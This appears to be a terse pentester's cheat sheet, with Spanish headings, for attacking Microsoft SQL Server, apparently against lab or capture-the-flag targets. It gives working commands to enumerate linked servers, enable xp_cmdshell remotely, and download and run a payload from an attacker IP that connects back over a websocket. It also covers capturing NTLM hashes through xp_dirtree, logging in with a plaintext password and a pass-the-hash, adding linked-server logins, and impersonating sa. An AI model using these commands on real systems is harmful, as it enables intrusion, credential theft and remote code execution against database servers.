Enumeración

EXEC sp_linkedservers;
SELECT * FROM sys.servers;

Linked Server → RCE

EXEC ('sp_configure ''show advanced options'',1;RECONFIGURE;') AT [SQL53];
EXEC ('sp_configure ''xp_cmdshell'',1;RECONFIGURE;') AT [SQL53];
EXEC [SQL53].master..xp_cmdshell '
powershell -c "iwr <http://192.168.45.181/client.exe> -o C:\\Users\\Public\\client.exe;
C:\\Users\\Public\\client.exe --url ws://192.168.45.181:8000/ws"
';

Captura NTLM

EXEC master.sys.xp_dirtree '\\\\192.168.45.181\\l';

Acceso interactivo

impacket-mssqlclient webapp11:[email protected] -db music
mssqlpwner -hashes ':73a34bad3e589783936fcd0a407dcf39' cowmotors-int.com/'web01$'@172.16.111.223 -windows-auth interactive
mssqlpwner 'signed.htb/mssqlsvc:purPLE9795!@'@10.10.11.90 -windows-auth interactive

Linked Server con credenciales

EXEC sp_addlinkedsrvlogin
 @rmtsrvname='SQL03',
 @useself='false',
 @locallogin=NULL,
 @rmtuser='sa',
 @rmtpassword='TuContraseña';

Impersonar SA

EXECUTE AS LOGIN = 'sa';